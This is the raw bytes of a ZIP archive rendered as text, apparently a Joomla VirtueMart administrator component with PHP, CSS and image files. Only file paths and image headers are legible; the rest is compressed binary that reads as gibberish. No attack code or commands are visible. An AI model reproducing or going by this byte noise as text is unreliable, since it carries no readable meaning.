PKhDadministrator/PKhDadministrator/components/PKhD(administrator/components/com_virtuemart/PKxgDt15administrator/components/com_virtuemart/COPYRIGHT.phpWn] 0I3cFD&i3h#/5jTW01dU,AngdU9G%QRy~\jklA %c/-Ӕ'HYkoudJ8J5XZi?}ZhPW` +c桺 Iv@zqZ3.S9 ޜd#sDU#kʗrqσ0Dx${evܳJOL+#ZK9֟V9ڗ(:oT]pꧧI"9to?em%/ p~uuc)e˵㹳$teT֯ OIrrr?PKxgDxٶ <administrator/components/com_virtuemart/admin.virtuemart.phpVo67 "`Poin#?3} hlHC=r];`ݽޖL*bڤ et:H)[[/ZK6VjEYDVH,q¸Wtzu{z']|Ô"}sI8{~VF Tk# Gq8HcS/)[2l,9K<"LWFDiif3/kZ%ӔO:3 :J(_9+6"Q5Etx9C"J*c N"JKuU ߈AxltLqj=wx ,JX9Lߌ80'6T2Pb0iZrFwi.Gķpk5s x8?oF7׃}7M%тE! >"vֲE9$_\wX؃^ 5Dġ핲kft:.8}|!Ba4aٓ"P*UrruJ a Yp댆^ɂzuD+&Ű\FI|ӏIoiڌo)=S~6շߕg nwBY'TqwMq[Bq|EeBSDP%H{e ߣ,1HQ/ G?jtNvi/[V BWyxgp-f6J/q1Aő,x)vْS}`<(%˙WyFf _dq;i}XvɜnkvP4JMqՅNiю!~aM .rAGR꥚'I4s4k3k*j.p~J U6kG9 8JEdi]Xq9Qj>gGZM`~S0aX?Sj\{5pjڞ@2.U -Rlύ. AActC:zF|3.}Zg僃OЪa8iB?QnLIH{Ц]fӇCMd#~ qLP#ow=2Y!fU!K#,jt4gA{Tu%,LLiPV3c +!wvXER~DUF՚Ѹxq4i%IBLj,ĹB*Msܹ,玧z0u Q`;q #VFǴb2Y*jcd"aE(fW],v$hjZcyțëV`WmilJ&XM ΜKˡ ͫ.)<ǜs 1 r Hlx&'rZ6[.E[%|¬&[~KJZщB{d)YS'۩v~J8ٺ0Ou'>Jަ.fF 'Ngk(usL5b۠l#B@zaEPC$hE^БlK8aBs-ذjhkOTyR@yuT2Ц3DY['(l>od;X9CAh,3D[zkj>ENM;vgq u\U'e-t׈f=E#qvooFgSsxKnn;w~~nH7&f`BCrxU 5OOo"~CT/VʕSQV{P1$}<{97*o?_ o?OsYպ^^9e3T̠S{/W5l ;׷ [l Mj| 'A]{θh}ؿyXe5Y֯?\ϯ:bS U5K NMǥj-|}, ԝy!a^s57uE6͠Y%4|nӶ<9rN6T%)0L?NCS?q- -&'qyRB1ꤎ q"a( AyLh7%\Wb4+k00aS2ށZohbÅz|XԶ&PKxgD. 5?administrator/components/com_virtuemart/assets/css/admin_ui.cssX[0'c>p AJ+5E*|#}pIv%>~;;;3;\g'EU/QQ.؇Gh4}vhGH<:," &q36^Yp3NTII]·w)_W7l~^l|54vg+X {Hdp$˗,au4^'hk):^Y%/eZ> Q5yf\y/{v))~9˳uז+! tdzzXD=/1퍵XE^ :~?X-fdz m\`TWyHD-+ʡQ'F/%`>B,}V1NB=Y94K?^ס?%2OQzzԂ^ȫ;\* >(d*R'Sw3Cr`$\)5ikf-m)Ѵ*(^O}^&Ug7OqRf櫯b{Hvocz?|3N)o{%R=UŤR0VQVaYgP0"yג1Zlȩj+VMtEe0&O<ͦ<je͂v3Fl6F>lg[n'wďE"֎G@*2*1ONl?X+6Ҹ M84zM+h*X.0@QĖ=/*ktk\l`I|I\mdVp3 /g8xt]ǬbQSf $6Qv)Y|L1Wqz,ӘJbb!ݜZşIb+)9DSxgd7E7$,+?:M,/vQa -rm17@9ffb0iO{v ǥGt˹ɟ|!ܗy)QlVt&d[6,|&ެYD5c}e)6 3Xڼq)Mvh' z9jSꣵ/qhkI nrvIƕ{ O6bx mX{ǾNPHMύ0Ѵ079Ǽ(=rX}\PFrG ,ǖҸwu@A~b)G\Mz]|?YEي{BfXq_ϽǃX1 ΣjR:r03cRIL'NЗ.zƤN:! u J9q`ӕknnoܷo6ܩx_Ln]::lyx/P/-/a{yo͇@AdFEbO4 2Z'< d_WWU?"є Q#m/|XvPY*Ri(^Fr@ f8}kQa P4Qۛ U%4a{frbH)"5)_@Z>42eکI[m"n!o f򠢐pIhjcy.?G/gJgyӕ \~W^,יiES+JyGgI&qn %OsXXW7:&k ֧98yXr^:8­fX;dL^`].y,VI4`FF,m"YgVI$WDFbfߢd#mf\:%[MiQc2MJ7s'He7!9H3Kϖ&=/[ )pUy6WnG$S~tmVS^AT*%Jx*ݭ>F:b&?',BEZgIJǞ&Q(<0#NA.M>ɥM燰9@ޚ[ڙLP4=1ߎvgu13V{o66/]yߐ- ~d#}< ] ;7v$ ;aqj+R$p#yPYWb2B`.Ā>$rNԉDSI/<"wNQv4Fc~nZK+[luX%UOռ}{|Ճ.lqh#1cVyqZZ|:8S>|^ 33]s,1\5\KLжnOqG4q}:ʮڅ 6mNVlvcH}~oO>0_&."pZ hd^vUƬ:c6c|狟DzR~X ;3mVWDgr8oC"Ra:EDPS=3q wXz:I+F~ku1mġ3 9U].V@E1Y7V؁S_+*wIq`Nt%{n)Go@Yz>6NϨ}dU3?☤q#i~I|RAԩvV;_RO O{O:[eĆ> 88-&OEغG8X <]a\̱> .X`5C,Zk[lQ[m[nHHov#k6Ho6Ho6Ho6Ho;HN+,D C;D C;D C;D"K.һD"K.һ.ѻH.ѻH.{H{H{H5{6+{H{Hϑ~NsD?G9ϑ~Ns7 ϑ~NsD#O>D#O>D#O>D#J2D#O>D }@D }@D }@D }@'cOD@/~A _D@/~A _D@EYުqWޠh}ŦRiYt|B=}y2`9|wA #2GsXԉg}g!CC Uf\G<(x^,yGĿ h&b6?xfu"{o\:#T owDDqe+21h[OTE*j訯I!i# ;/Wf^Bn=^rgZ;B:Np⍣T$~.shv&p:sg7һy+dȢ^ 8$랴<1vMԠ+;Ly[n۞\q %UN5񡳒F3r͍3:d;{z҂ gٞ>xzhGڝܥ(ƫۦLPKxgD=administrator/components/com_virtuemart/assets/css/index.htmlPKxgDZe.>administrator/components/com_virtuemart/assets/css/install.cssW[8~TJm4.a:a^v5t+JKeT#LfZ_؀ 鴻D"_;V˥1k+ZyUrD-aCn0Jd T9 ʾGO闵{hȪrkX1 kY|璎T[ ;Λd:^Y<ʕdIpWeCxջOU [1E ~D ;˕;=beU'77΢Ay^եYfP \DQ$dPnnIAk7,@Ѫ+(6g"&WխbV7Γ\j̄N3ٴ7]Ёӓ#mPBrܤHqb6FXXwr7qTɉXp'y[GXq]D6[OZ+[BhI.@M]-+I?jRJY czƸ ϺzUTSIICJ9=+,eȳԢl|ƶ"xs{ƆW#A9T9\d19ঔsO hкF=g4 Rsڐ8`xhw 92#OsE 2B̡IO%!,|-uNAHȟ q c7 t ͪ"`69m0?+Զ1~Mxr@y _$xp$g3I_rZ.MrrZ-Z~ S ,}QqFsA 5\PjzJ&" -$&2ȴej<o)9`{}n]|s+!'۽nTBR0cvHJNL'l:-&8mKP1In|CTtdN %p.c1\R~uF-_#ategZPKxgDHȆR#Badministrator/components/com_virtuemart/assets/css/jqtransform.cssZ[o6~lnqfֵX0 %Q1J(:!)nDssxKEz_)p'9A mg)4 $_/WϋA|G!a9#\ NALHD`1\+4h /k)yãƃPSJJMoT47KekELe #|ý,"θzXaA2eY98$?GӐg2HpJςb6 F\ђR 5[?'M[Sw, ī#`:zSng)pڶC^AVšhaکk!}`AQ{I:S#zKU$kTIS]veS"aZB#,QF:Pp-.+*$*2~N$V+[ג79HS${1tm \)0-v ݠxT6jlЈaAqP*84V/`:vՙ $ωO6+dWNW+$k\#ƑD| hqG2yx9i߰.^{".x=w(7-woY"aﰄ%[4B "*0 ނS 'ֻt+t_ FN#`*SPؙC΢YYRi%',N%]եwWW;zס70nF837GŊ^Fk"@lRq_cƣB Hfzk^*5D!&~` Ew> luߡ ˫pl_Ig(,M#ťk^upleMV%OMB87z+SȅZtZZMMZQҫ;4,]OK*IDmѕm7ng{; ~?[㑥]7I ~_ʭa+[Gĺ2&5'C7x6Iݨ>朹*/ #-ϟ?;s ^Z $K^RNCR6y>taf޼kFGTӹ 80!OgS\opޣ՚{ʇѝ$ɢ%{ -90ArIWiL3̀S4*ui ٳPKxgD& 7Badministrator/components/com_virtuemart/assets/css/menu_images.cssߒ'WV?\"OA @gbƓ{$άiVjjPwK?j)>3_;-'!CM%&0R Sf!h$~wrCjc`HEjf>cw  c2n>?zzѯ?oeey`267_|wӏc/ߨ?>-Ű TAIm0W{oÏQ@&#/Wi&c.A|bggF0ͦ_^۹Bο 6*N>7S`2&<$u i8uyhe_/ HGw+ݯv BٶL8ϛpJ,8Htݳ7M{0p'G[{9ϸaJy0}Qn-)`4شPVyXUC;Q'Kr֯L8H'C3R "IAA8DGy͎{Y@VDfaxQ"8|0HMzqd뺶/2ՙp[}fA@ԽXL.ݓJ0h7s6mEΚկh y=qb<<ȳUxJ&` T<+D7Փ&w|=v5Uf`Lƾ2TLF8YBp:?kqgʐD:-G#=❖Px86 ^?,v 'K&ՖTu7xhP|#iMF+%VDuURWFVȌ\2ć4Đ3iQ]Fį7gJ7lgۄ PQl%+(ڦI~ǃ _T3zxU'@ Tk5Z^A꼣I\2h-AѬLQL{<Ὴv4}0OK4}x5-Ay8Al0f0\)|?Gɡ2>xZ5K}P^`2.2=CU+]ST 9X1R[B{{Ig+!õU{Ećvo D9ˋZL-~KjZVK6W#8ݶ?pКA;$pV\sgk~HhaDe=֛s@k}3VnYNjz)!"5؋S6B:}-qD! ϣSqB]if;1ؒ}MƐzoA%cm=[+>JNaCCbRЕ ~|~u7b[vFVVuO_iS~pHKC]ol-bzkPKxgDGQ#LEadministrator/components/com_virtuemart/assets/css/toolbar_images.cssݲ0}MGar I& р:h^++`.nA%naov|{/s3jU(*h@'=\keg^]2f3 t-"U9GЪùOAZ^kքb/HÙ*LJ&  %d<QRAZ*we"X&~H[Fiv,9FMƿQ&$th%k+ƳI\2ApXDFP"o OW|=&:_Xox(~2&MMN5-JT}Wt:55n83t'sf:Y&grADfNO R0$ČȌR@˭aߧmOnzD5_ONچ0Q`њQVU:=$GS`Y¬1.m"Li'\ ?Ln8ΒoգX~]L݉i-nyFCzEz]Yi 7=7  PKhD6administrator/components/com_virtuemart/assets/images/PKhDAadministrator/components/com_virtuemart/assets/images/admin_menu/PKxgD2j&2Kadministrator/components/com_virtuemart/assets/images/admin_menu/index.html(ͱIOTHJO/URv%>H PKxgDhWYMadministrator/components/com_virtuemart/assets/images/admin_menu/vm_arrow.gifstLdd8"PPPOo?~㓧O_zo߿߿ϟ?? ş, : NVUH&G 5Xg7<1gPT 1NFkPKxgDxRadministrator/components/com_virtuemart/assets/images/admin_menu/vm_arrow_down.gifstLddhad((('O?~ӧ^z߿ϟ|@E%) % !  ?YtV5O,4{s?c/7'sE#EEh:3XPKxgDCV]Nadministrator/components/com_virtuemart/assets/images/admin_menu/vm_border.png sb``p Ҍ@ $ > 09sT:+RqAFʆ SpJ<:&PKhD?administrator/components/com_virtuemart/assets/images/admin_ui/PKxgDXTadministrator/components/com_virtuemart/assets/images/admin_ui/container_bg_blue.png sb``p  HjR 0kPו.7+*@OPp 7pEor书JW(`7,w9ҨOLZ&nř*LΠp6-/PW >OW?uN MPKxgD67wj e Jadministrator/components/com_virtuemart/assets/images/admin_ui/head_bg.pnge PNG  IHDRh L pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxڌ @3AϢ(R۝C)'vFY6#L, H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FTIDATxڌ9 @ǿQA#JH1RJ/h1`91FRJED(PkF1sNZ9p㽟FNڎ}IENDB`PKxgD4>>Uadministrator/components/com_virtuemart/assets/images/admin_ui/icon_external_link.gifstLbbh`dHKKOFF 00s_uꉼg^\,` PKxgD* RdLadministrator/components/com_virtuemart/assets/images/admin_ui/icon_info.png sb``p  $?OR%%i%E )I A)'Sm2C"J"|}sAj*r @ƾ 19;D!)5=3VJ )JᦾΩUEU~!Uɖ)Jv 6V@rSK*rs*lZ a}%l[%"|RL t  Mu t ͭ @ h[QJU. V)J_\X/(]d.Pnqe^Ibn^2̂<?1)VI y`~Eb>B__Jss᪋KR.,HJ-/-JF\2HssQjbI~QH~~,2K3 M|3@|z__+ϼļTO[%^ff9LK~rinj^ Lo B1NѝZYVU&nv Do nԫt>ZDÄĄ'[ S󀩽ömsa``tq U?[Qd^quyudsU fFDgNt-G Ֆ*tHy{ݽwg>73{>{~47]w룦Ŋ_!AៗE+yRV^Ӕm7ΌOO73rg=[s]=_zqĶ~SjX-fkr0_TʷŶn{xK=]i, ܶ+|{umkL|^X߬G?:f2cMb:ɒ_2j`*~ש^㆛.[߅m𒏝]n`#GKVHYow\'f@SmzGlJ-؏{|pHO^e),Y]ͱk\d>6 /$ H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FnIDATxT PDL3*ئҏ fŻ83p,re+/ןnH21Zs ` &pnEp\iOIENDB`PKxgD0 + Oadministrator/components/com_virtuemart/assets/images/admin_ui/page_bg_blue.png+ PNG  IHDRh L pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FVIDATxڌ 0Vt BlH XS:?6os9Z˿w8ͿcB eIENDB`PKxgDw"  Jadministrator/components/com_virtuemart/assets/images/admin_ui/save_bg.png PNG  IHDR2& pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FHIDATxڌ 0 STbǣP#;EcNU@D,f?9kO{u3IC#<IENDB`PKxgDΖ2Sadministrator/components/com_virtuemart/assets/images/admin_ui/saved_background.pngS=o@6TjJX@ ΉڪءP%XǾ4VkD'`ĊX L !P s BUNyjfvgwy,~|yĦ 6ӡ`Iznv["MAK#! c.KYz"5lU<wmvMOk`1ә@ p+JtuΏEAvXU` A \QU* "D$%B0<}eƶƺ(CaXH!"Mr I*1D)݉tPq%AL|65xxB7Q: (XSig'b d;X>:7$`Iqlm8uٍٖeU"dʒmHV!2Yhĕ4l 2!@(N:ւPpQJ7Årj]J![E%ĠږZd6k QtrEEUȪ䯶j62-ˬh*ODOGqqKÿ<ϚJf'{ѽG!?>3}0'N=9x L7=ݟ{;i:w{zޗuiPKxgDD_5#^Xadministrator/components/com_virtuemart/assets/images/admin_ui/saved_icon_background.pngT}Le>BdY n ^,:^Qkﺵ .;p}pwRAtsÏm C 2ejBf)cJ0btM#d29Hј?|ܞ[ @2b7'x|h0 :]W=ʨ<@rr=E 2@&'k`ʢIa,1QRl[La&^ArCN@sC5X *^QWxe7.VC@u͒FТ.aS0.B&7S*+7fg9wDkk*>'DEY^H&>'=/g@kkۻzzڻѫnvomgPI/@jQAj $r(eJ 8QAq:\1Kx(ТћM"v}Ӣ^9q 8]YPG8СMl0!@hyLj\JJr|nnCP VPVWk5 @/T*b3Y|bj,X?A,,8+? j%KUSob(@a/,q|*v@]3=IN|:Q?`1eg9k8jlaS6v30y6BI!b2[7F X8'Q>\{~3IZ39) 5>żھߙtM{.AA'8fDбv dM@Q(HlY^ATAƖ^n%oї?:Lp_J&ZMPm&ͽWjrPl>Pk.WUĕTaE_ZO{< V&[SC5_0 =^!%e}RgVPe.ƅ' OyLO-T@f*κ2p)?gLYqjKGQ}(A-̘n%ZoMwQf|Gh6S@N([wX8T]ЭՉ,{*.[l"JE0m==ڡv߫ZK͌iٱ} obС(M3g0g%4s4C>Q̽,,W}(e(ajK-/bH\ PnP/]N=R}G+(BdEiכoY4p18TF gX--V@ ,*hШ{j'~IVqNqʾN["okTTԩT:9.t( *&-뭕RiH_T8{wdu婻v}{s[zD m$fEO>vwBɂ-,36ÒZf$?)9 l3m;:0ijdjHKMON,d H/ ,l4[q!lUPF%'vp#1bib5yqiffe7bQLSA8#,aV԰恚րOwRx$ˤtFt_=(߈gO \ SSKۈcp9%53<*6Z-d'C'vpmun7{ i=.C֞8D~̞g(97 3#C9i*P  kcM2^k.@[RK_I{|ޖޖ]X74nns3d`03@i3 ;:X.͵xqU\\~\BHuNO5j^dҤiv4el_ 1kxdAL[ *sC|z_K[UCQrEUUfp| U{!Q#sV˾12nY8\UBK+$izqX9KM<V-= G2VrYLDĤ7Soٵ·^)sZCmm5-&N-'~Mv<ɵT<1s?Wrj-Ѓnrmٛ]BXn9/c|tѱ;|fU :ut@'!+a,$(ﵴؖm)xf%~7zhqr&s ,#CaM-rwe爏 śUoӢ 2-l?zӥ7)4))[kAnCޤV?f }H>w|ph@l>؀:Da{ss{k P;BP{;;{{{GG?<9>>=9uzׯ߿/...//./WWh?011133sppprrrqqqss  ~ZLLL\\\BBBRRRJJJZZZFFFVVVNN`yyyEEE%%%eeeUUU555uuu MMM---mmm]]]===(jhhhdddlllbbbjjjfffnnnaaaiiieeemmmccckkkgg޾}ݻ{{{! 00ǏAAA!!!aaaQQQ111qqq>}OHHHLLLJJJNNNIIIMMMKKKOOͅyyy?/(((,,,**KqqqIIIiiiYYYyyyEEEeeeUUUuuuMMMmmm]]]}}}CCCccׯ_DssoZZZZ[[;:::;;{zzz{{GFFFGG'&&&''gfffgg>??D"WWW766~Bvvvvww~y|||rrrzzׯc˫+4}+8=x@cwJc ^%( Ş6Bi2(? QLlմ|LZ:T!')$VMEPKxgDЪ`Uadministrator/components/com_virtuemart/assets/images/admin_ui/tabs-ul-background.png sb``p Ҍ@l ${ TfOkZzvzFNFfnfeeQ~vQanQq~AqAaIaQiQqYqIyI)UQeY9UWQuE%TVQmUumuM]Mm7@K]<]C8fj=`Qx8cOMi;5M͍QK-Z2aNϔ%'?3u9H94eSBPKxgDswnUadministrator/components/com_virtuemart/assets/images/admin_ui/toolbar_background.pngS=o@6dUT1tJLľs861}i>c_[1!L01 s 'w+KWAXl>_6y蘀AO'I<wWi"F,LVôp00&;qjo?@G|x,27r}9 vC-7AԹ,-Ҁzu~%!l׀y[9! "nUUdd M-YG,h%NtI%|GšU:db?eALZM03Tr0{̀!N|br>~6񏣣Fu|ֿsrc|k#a^jΦOPKxgDZ )$Fadministrator/components/com_virtuemart/assets/images/edit-24-grey.png$PNG  IHDRw=tEXtSoftwareAdobe ImageReadyqe<IDATxڴV]hSwGôMsbeƵ}0C}hAa0>TRtt` Qd̲mEBa/FJb;h~xNL\ɽ}˽97TUU1NkqeeU,-R]GLss֭#):i&޹}'zfCsg}G C[t:`PE{?ScNj ;w7ea(C$D"×.'N|Yb o.|qMd@ߦ B{ TTMŒ~e99bMW rJ U m@YujB$QU[ERf5o%[P TȲL(Gn7F%@icSooiadǎSX2?z1pĔad(Wu8Pv8I!# @A$Kw@nK) kkkX 6<-kAfeBvɒ|bhhHDL'pt N"qo&d`yy~i.Pty>YXX(qGG i-d2/0߿weYv"fd 2|2c,-- >JUc{h6e1#**]Xb^d麪@{a \SB(BX%lu$8婓Ir3[ZZN8mU)I|! sTbW91wj\'h2*0ȁs[rV`,S- !>2|T,Wgf09YWd}ՕeZ__ߏX* ΃X ߮GKNӸa34IENDB`PKxgDr>administrator/components/com_virtuemart/assets/images/hide.png*PNG  IHDR+jtEXtSoftwareAdobe ImageReadyqe<wIDATxϏPǧRv{ zHbօ38GģG\U$qLH)ḅe m].lM^̼73}|>^RPx(+ 3Iu6p{jxGTe-Xo$ CU/F6xadministrator/components/com_virtuemart/assets/images/icon_16/PKxgDuD?Xadministrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-categories.png?PNG  IHDRabKGD pHYs  tIME 2,@IDAT8ˍOhgf&\ ƚRD4Fi-=PEsPP(R "VE/XB(fWKLwmM}{ۃa摩(8 J#̉wAҀ M~JFIFknz[ JLD/qB kR/}SŚ8yM.\3e0hV Jd8Q] uI&V/rE#IZ_[s >-e YգY{p1@Q:n7t!tǼوq%Dp+.U)-(KЈR43كgf1us賃Q6oi><@kFD ˶aK%}oMS]Z xƿ 1P̱&;p5 & CIvl{Y5./YbQD m IENDB`PKxgDYhf?:Tadministrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-config.png:PNG  IHDRabKGD pHYs  tIME cIDAT8˭o@5qAN-2HU #Btcd`@*1ysgBIՈHTsǔ#NW:UY4megq/,*M[i;q/zU+T^M8eژǬGLnm 5EQ`0ͥR"}R(RV0_=:++_d6oO0wsIENDB`PKxgD>V[administrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-manufacturers.pngPNG  IHDRabKGD pHYs  tIME 4 vKS~ IDAT8ˍKa?3ꮻ EdAK: tJ*:DtJ S((ҐdhG-B+WWY7_;] /WbzҔb K}$? IN; z^.>*-,w=?s5~1166F(DUU ]@Nt)Õ`-뿋:xy5 A24K(WF7$1U9 {Cffo;~eK# J ,Ւ5 w懇)QPej!Je&Pd*̅+@q)W ^9(l%CJCHP-p~#xh=X& @`h9z^$ +K$웮fUܛx6Lg1&iu4Fw ]yeIGX>̅sGkRsůo=vJk0 GC x$ ]~0ʱ֦GD/;%H[;?j>r @L :8x+g_g)Xkq|8vŰ]?R߂)MC@%#]]UM;5)qܯ%D7M9c;oߌR*!w%n%eڂ}-"r3 ZGNDܪjZ.V\ބ̖IENDB`PKxgD=l.)Tadministrator/components/com_virtuemart/assets/images/icon_16/menu-icon16-orders.png)PNG  IHDRabKGD 